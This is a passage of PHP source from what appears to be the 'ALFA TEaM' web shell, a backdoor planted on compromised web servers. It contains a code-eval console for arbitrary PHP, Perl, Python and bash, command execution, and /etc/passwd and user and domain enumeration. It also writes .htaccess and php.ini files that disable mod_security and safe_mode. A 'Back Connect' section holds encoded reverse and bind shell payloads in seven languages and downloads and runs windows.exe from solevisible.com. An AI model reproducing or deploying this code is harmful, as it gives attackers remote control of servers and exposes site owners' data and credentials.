} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>alfa3_="";</script><form onsubmit="editor(\''.addslashes($_POST['alfa1']).'\',\''.$_POST['alfa2'].'\',this.touch.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", ($chdir_fals?$file_info[4]:@filemtime($_POST['alfa1']))).'"><input type=submit value=" "></form>';
break;
case 'image':
@chdir($_POST['c']);
echo('<hr>');
$file = $_POST['alfa1'];
$image_info = @getimagesize($file);
if(is_array($image_info)||$chdir_fals){
$width = (int)$image_info[0];
$height = (int)$image_info[1];
if($chdir_fals&&$alfa_canruncmd){
$source = alfaEx("cat '".addslashes($file)."' | base64");
list($width, $height) = explode(":", alfaEx("identify -format '%w:%h' '".addslashes($file)."'"));
$mime = explode(":", alfaEx("file --mime-type '".addslashes($file)."'"));
$image_info['mime'] = $mime[1];
}else{
$source = __ZW5jb2Rlcg(__read_file($file, false));
}
$image_info_h = "Image type = <span>[</span> ".$image_info['mime']." <span>]</span><br>Image Size = <span>[ </span>".$width." x ".$height."<span> ]</span><br>";
if($width > 800){$width = 800;}
echo $content = "<div class='editor-view'><div class='view-content'><center>".$image_info_h."<br><img id='viewImage' style='max-width:100%;border:1px solid green;' src='data:".$image_info['mime'].";base64,".$source."' alt='".$file."'></center></div></div><br>";
}
break;
}
echo '</div>';
alfaFooter();
}
function findicon($file,$type){
$s = 'http://solevisible.com/icons/';
$types = array('json','ppt','pptx','xls','xlsx','msi','config','cgi','pm','c','cpp','cs','java','aspx','asp','db','ttf','eot','woff','woff2','woff','conf','log','apk','cab','bz2','tgz','dmg','izo','jar','7z','iso','rar','bat','sh','alfa','gz','tar','php','php4','php5','phtml','html','xhtml','shtml','htm','zip','png','jpg','jpeg','gif','bmp','ico','txt','js','rb','py','xml','css','sql','htaccess','pl','ini','dll','exe','mp3','mp4','m4a','mov','flv','swf','mkv','avi','wmv','mpg','mpeg','dat','pdf','3gp','doc','docx','docm');
if($type!='file'){
return ($file=='..'?$s.'back.png':$s.'folder.png');
}else{
$ext = explode(,$file);
$ext = end($ext);
$ext = strtolower($ext);
return (in_array($ext,$types)?$s.$ext.'.png':$s.'notfound.png');
}
}
function alfadlfile(){
if(isset($_POST['c'],$_POST['file'])){
$basename = rawurldecode(basename($_POST['file']));
$_POST['file'] = str_replace("//", "/", $_POST['c'].'/'.$basename);
$alfa_canruncmd = _alfa_can_runCommand(true,true);
if(@is_file($_POST['file']) && @is_readable($_POST['file']) || $alfa_canruncmd){
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=\"".addslashes($basename)."\"");
header("Content-Type: application/octet-stream");
if($GLOBALS["glob_chdir_false"]){
$randname = $basename.rand(111,9999);
$scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);
$filepath = $scriptpath."/".$randname;
if(_alfa_is_writable($scriptpath)){
alfaEx("cp '".addslashes($_POST["file"])."' '".addslashes($filepath)."'");
readfile($filepath);
@unlink($filepath);
}else{
alfaEx("cat '".addslashes($_POST["file"])."'");
}
}else{
readfile($_POST['file']);
}
}else echo('Error...!');}}
function __alfa_set_cookie($key, $value){
$_COOKIE[$key] = $value;
@setcookie($key, $value, time()+(86400 * 7), '/');
}
function alfaphpeval(){
if(isset($_COOKIE["eval_tmpdir"])&&@is_dir($_COOKIE["eval_tmpdir"])){
$tempdir = __ZGVjb2Rlcg($_COOKIE["eval_tmpdir"]);
}else{
$tempdir = dirname(alfaEx("mktemp"));
__alfa_set_cookie("eval_tmpdir", __ZW5jb2Rlcg($tempdir));
}
alfahead();
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'ini')){
echo '<div class=header>';
ob_start();
$INI=ini_get_all();
print '<table border=0><tr><td class="listing"><font class="highlight_txt">Param</td><td class="listing"><font class="highlight_txt">Global value</td><td class="listing"><font class="highlight_txt">Local Value</td><td class="listing"><font class="highlight_txt">Access</td></tr>';
foreach ($INI as $param => $values)
print "\n<tr><td class="listing"><b>'.$param.'</td><td class="listing">'.$values['global_value'].' </td><td class="listing">'.$values['local_value'].' </td><td class="listing">'.$values['access'].' </td></tr>';
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'info')) {
echo '<div class=header><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'exten')) {
echo '<div class=header>';
ob_start();
$EXT=get_loaded_extensions();
echo '<table border=0><tr><td class="listing">'.implode('</td></tr>\n<tr><td class="listing">', $EXT).'</td></tr></table>'.count($EXT).' extensions loaded';
echo '</div><br>';
}
$lang_html = "";
foreach(array("php"=>"php ~> [ Windows / Linux ]","perl"=>"perl ~> [ Linux ]","python"=>"python ~> [ Linux ]","bash"=>"bash ~> [ Linux ]") as $key=>$val){$lang_html .= '<option value="'.$key.'" '.($_POST["alfa3"]==$key?"selected":"").'>'.$val.'</option>';}
echo '<div class=header><Center><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form class="php-evals" name="pf" method="post" onsubmit="var ace_value=geEvalAceValue(this);g(\'phpeval\',null,ace_value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">'.$lang_html.'</select>'._alfa_load_ace_options("eval").'<br><br><div class="bigarea" style="position:relative;"><div class="php-evals-ace">'.(!empty($_POST['alfa1'])?htmlspecialchars($_POST['alfa1']):"<?php\n\n\techo('hello alfa !');\n\n").'</div></div><center><input type="submit" value="" style="margin-top:5px"></center>';
echo '</form><pre id="PhpOutput" style="'.(empty($_POST['alfa1'])?'display:none;':'').'margin-top:5px;" class="ml1">';
if(!empty($_POST['alfa1'])){
if($_POST['alfa3']=="php"){
ob_start();
eval(''.$_POST['alfa1']);
$result = htmlspecialchars(ob_get_clean());
}elseif(_alfa_can_runCommand()&&$GLOBALS["sys"]=="unix"){
$lang = $_POST['alfa3'];
$filename = "temp".rand(11111,99999);
$temp = $tempdir."/".$filename ;
__write_file($filename, $_POST['alfa1']);
$result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");
@unlink($filename);
@unlink($temp);
}
echo '<textarea class="bigarea">'.$result.'</textarea>';
}
echo '</pre></div>';
alfafooter();
}
function __pre(){return('<pre id="strOutput" style="margin-top:5px" class="ml1">');}
function alfaproc()
{
alfahead();
echo "<Div class=header><br><center>";
if(empty($_POST['ajax'])&&!empty($_POST['alfa1']))
$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
if($GLOBALS['sys']=="win"){
$process=array(
"Task List" =>"tasklist /V",
"System Info" =>"systeminfo",
"Active Connections" => "netstat -an",
"Running Services" => "net start",
"User Accounts" => "net user",
"Show Computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);}else{
$process=array(
"Process status" => "ps aux",
"Syslog" =>"cat /etc/syslog.conf",
"Resolv" => "cat /etc/resolv.conf",
"Hosts" =>"cat /etc/hosts",
"Cpuinfo"=>"cat /proc/cpuinfo",
"Version"=>"cat /proc/version",
"Sbin"=>"ls -al /usr/sbin",
"Interrupts"=>"cat /proc/interrupts",
"lsattr"=>"lsattr -va",
"Uptime"=>"uptime",
"Fstab" =>"cat /etc/fstab"
);}
foreach($process as $n => $link){
echo '<a href="javascript:void(0);" onclick="g(\'proc\',null,\''.$link.'\')"> | '.$n.' | </a>';
}
echo "</center><br>";
if(!empty($_POST['alfa1'])){
echo "<pre class='ml1' style='margin-top:5px' >";
if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."';";}
echo alfaEx($cmd.$_POST['alfa1'], true);
echo '</pre>';
}
echo "</div>";
alfafooter();
}
function alfasafe(){
alfahead();
echo "<div class=header><center><br><div class='txtfont_header'>| Auto ByPasser |</div>";
echo '<h3><a href=javascript:void(0) onclick="g(\'safe\',null,\'php.ini\',null)">| PHP.INI | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,\'ini\')">| .htaccess(apache) | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,\'pl\')">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,\'passwd\')">| Read-Passwd | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,\'users\')">| Read-Users | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,\'valiases\')">| Get-User | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,null,null,\'domains\')">| Get-Domains | </a></center></h3>';
if(!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains'){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
echo __pre();
$solevisible9 = _alfa_file('/etc/named.conf');
if(is_array($solevisible9)){
foreach($solevisible9 as $solevisible13){
if(@eregi('zone',$solevisible13)){
preg_match_all('#zone "(.*)"#',$solevisible13,$solevisible14);
if(strlen(trim($solevisible14[1][0])) > 2){
echo $solevisible14[1][0].'<br>';
}}}
}
}else{
echo __pre();
$users = _alfa_file("/etc/virtual/domainowners");
if(is_array($users)){
foreach($users as $boz){
$dom = explode(":",$boz);
echo $dom[0]."\n";}}}}
if(!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases'){
echo '
<form onsubmit="g(\'safe\',null,null,null,null,null,null,\'valiases\',this.site.value,null,\'>>\'); return false;" method="post" /><center><div class="txtfont">Url: </font><input type="text" placeholder="site.com" name="site" /> <input type="submit" value=" " name="go" /></form></center>';
if(isset($_POST['alfa9']) && $_POST['alfa9'] == '>>'){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
$site = trim($_POST['alfa7']);
$rep = str_replace(array("https://","http://","www."),"",$site);
$user = "";
if(function_exists("posix_getpwuid") && function_exists("fileowner")){
if($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){
$user = $user['name'];
}
}else{
if(_alfa_can_runCommand(true,true)){
$user = alfaEx("stat -c '%U' /etc/valiases/".$rep);
}
}
if(!empty($user)&&$user!='root'){
echo __pre()."<center><table border='1'><tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user}</font></b></td></tr><tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
}else {echo __pre().'<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>';}
}else{
$site = trim($_POST['alfa7']);
$rep = str_replace(array("https://","http://","www."),"",$site);
$users = _alfa_file("/etc/virtual/domainowners");
foreach($users as $boz){
$ex = explode(":",$boz);
if($ex[0] == $rep){
echo __pre()."<center><table border='1'>
<tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">".trim($ex[1])."</font></b></td></tr>
<tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";break;}}}}}
if(!empty($_POST['alfa5']) && isset($_POST['alfa5'])){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
echo __pre();
$i = 0;
while ($i < 60000) {
$line = @posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vl) = each($line)){
echo $vl."\n";
break;}}$i++;}
}else{echo __pre();
$users = _alfa_file("/etc/virtual/domainowners");
foreach($users as $boz){
$user = explode(":",$boz);
echo trim($user[1]).'<br>';}}}
if(!empty($_POST['alfa4']) && isset($_POST['alfa4'])){
echo __pre();
if(_alfa_can_runCommand(true,true)){echo __read_file("/etc/passwd");}elseif(function_exists("posix_getpwuid")){
for($uid=0;$uid<60000;$uid++){
$ara = @posix_getpwuid($uid);
if(!empty($ara)){
while(list ($key, $val) = each($ara)){
echo "$val:";
}echo "\n";}}
}else{__alert('failed...');}}
if(!empty($_POST['alfa2']) && isset($_POST['alfa2'])){
@__write_file($GLOBALS['cwd'].".htaccess","#Generated By Sole Sad and Invisible\n<IfModule mod_security.c>\nSec------Engine Off\nSec------ScanPOST Off\n</IfModule>");
echo '<center><b><big>htaccess for Apache created...!</center></b></big>';
}
if(!empty($_POST['alfa1'])&& isset($_POST['alfa1'])){
@__write_file($GLOBALS['cwd']."php.ini","safe_mode=OFF\ndisable_functions=ByPassed By Sole Sad & Invisible(ALFA TEaM)");
echo '<center><b><big> php.ini created...!</center></b></big>';
}
if(!empty($_POST['alfa3']) && isset($_POST['alfa3'])){
@__write_file($GLOBALS['cwd'].".htaccess","#Generated By Sole Sad and Invisible\n<Files *.php>\nForceType application/x-httpd-php4\n</Files>\n<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>");
echo '<center><b><big>htaccess for Litespeed created...!</center></b></big>';
}
echo "<br></div>";
alfafooter();
}
function __get_resource($content){
return @gzinflate(__ZGVjb2Rlcg($content));
}
function __write_file($file, $content){
if($fh = @fopen($file, "wb")){
if(fwrite($fh, $content)!==false) return true;
}
return false;
}
function bcinit($evalType, $evalCode, $evalOptions, $evalArguments){
$res = "<font color='green'>[ Success...! ]</font>";
$err = "<font color='red'>[ Failed...! ]</font>";
if($evalOptions!="") $evalOptions = $evalOptions." ";
if($evalArguments!="") $evalArguments = " ".$evalArguments;
if($evalType=="c"){
$tmpdir = ALFA_TEMPDIR;
chdir($tmpdir);
if(is_writable($tmpdir)){
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".c";
$path = $filename;
if(__write_file($path, $evalCode)){
$ext = ($GLOBALS['sys']=='win')? ".exe":".out";
$pathres = $filename.$ext;
$evalOptions = "-o ".$pathres." ".$evalOptions;
$cmd = "gcc ".$evalOptions.$path;
alfaEx($cmd);
if(is_file($pathres)){
if(chmod($pathres, 0755)){
$cmd = $pathres.$evalArguments;
alfaEx($cmd);
}else{$res = $err;}
unlink($pathres);
}else{$res = $err;}
unlink($path);
}else{$res = $err;}
}
return $res;
}elseif($evalType=="java"){
$tmpdir = ALFA_TEMPDIR;
chdir($tmpdir);
if(is_writable($tmpdir)){
if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
$classname = trim($r[1]);
$filename = $classname;
}else{
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$evalCode = "class ".$filename." { ".$evalCode . " } ";
}
$path = $filename.".java";
if(__write_file($path, $evalCode)){
$cmd = "javac ".$evalOptions.$path;
alfaEx($cmd);
$pathres = $filename.".class";
if(is_file($pathres)){
if(chmod($pathres, 0755)){
$cmd = "java ".$filename.$evalArguments;
alfaEx($cmd);
}else{$res = $err;}
unlink($pathres);
}else{$res = $err;}
unlink($path);
}else{$res = $err;}
}
return $res;
}
return false;
}
function alfaconnect(){
alfahead();
$php="7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";
$python="pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";
$perl="lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";
$ruby="tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$node="nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";
$c="tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";
$java="lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";
echo "<div class=header><center><br><div class='txtfont_header'>| Back Connect |</div><br><br>";
echo "<form onSubmit=\"g('connect',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\">
<div class=\"txtfont\">Mehtod:</div> <select name='cbmethod' onChange='ctlbc(this);' style='width:120px;'><option value='back'>Reverse Shell</option><option value='bind'>Bind Port</option></select> <div class=\"txtfont\">Use:</div> <select name='selectCb'>";
$cbArr = array("php"=>"Php","perl"=>"Perl","python"=>"Python","ruby"=>"Ruby","c"=>"C","java"=>"Java","node"=>"NodeJs","bcwin"=>"Windows");
foreach($cbArr as $key=>$val){echo("<option value='{$key}' ".($GLOBALS['sys']=='win'?'selected':'').">{$val}</option>");}
echo "</select> <div id='bcipAction' style='display:inline-block;'><div class=\"txtfont\">IP:</div> <inputtype='text' style='text-align:center;' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'></div> <div class=\"txtfont\">Port: </div> <input type='text' size='5' style='text-align:center;' name='port' value='2012'> <input type='submit' value='>>'></form><p><div id='bcStatus'><small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small></div></p></center></b></font><br>";
if(isset($_POST['alfa1'])&&!empty($_POST['alfa1'])){
$lang = $_POST['alfa1'];
$ip = $_POST['alfa2'];
$port = $_POST['alfa3'];
$arg = ($_POST['alfa4']=='bind'?$port:$port.' '.$ip);
$tmpdir = ALFA_TEMPDIR;
$name = $tmpdir.'/'.$lang.uniqid().rand(1,99999);
$allow = array('perl','ruby','python','node');
eval('$lan=$'.$lang.';');
if(in_array($lang,$allow)){
if(__write_file($name,__get_resource($lan))){
if(_alfa_can_runCommand(true,true)){
$os = ($GLOBALS['sys']!='win')?'1>/dev/null 2>&1 &':'';
$out = alfaEx("$lang $name $arg $os");
if($out==''){$out="<font color='green'><center>[ Finished...! ]</center></font>";}
echo("<pre class='ml1' style='margin-top:5px'>{$out}</pre>");
}
}else{
echo("<pre class=ml1 style='margin-top:5px'><font color='red'><center>[ Failed...! ]</center></font></pre>");
}
}
if($lang=='java'||$lang=='c'){
$code = __get_resource($lan);
$out = nl2br(bcinit($lang, $code,'',''));
echo("<pre class=ml1 style='margin-top:5px'><center>{$out}</center></pre>");
}
if($lang=='bcwin'){
$alfa = new AlfaCURL();
$s = $alfa->Send('http://solevisible.com/bc/windows.exe');
$tmpdir = ALFA_TEMPDIR;
$f = @fopen($tmpdir.'/bcwin.exe','w+');
@fwrite($f, $s);
@fclose($f);
$out = alfaEx($tmpdir."/bcwin.exe ".$_POST['alfa2']." ".$_POST['alfa3']);
}
if($lang=='php'){
echo "<pre class=ml1 style='margin-top:5px'>";
$code = __get_resource($lan);
if($code!==false){
$code = "\$target = \"".$arg."\";\n".$code;
eval($code);
echo("<center><font color='green'>[ Finished...! ]</font></center>");
}
echo "</pre>";
}
}
echo "</div>";
alfafooter();
}
function alfapwchanger(){
alfahead();
echo '<div class=header><center><br><div class="txtfont_header">| Add New Admin |</div>
<center><h3>';
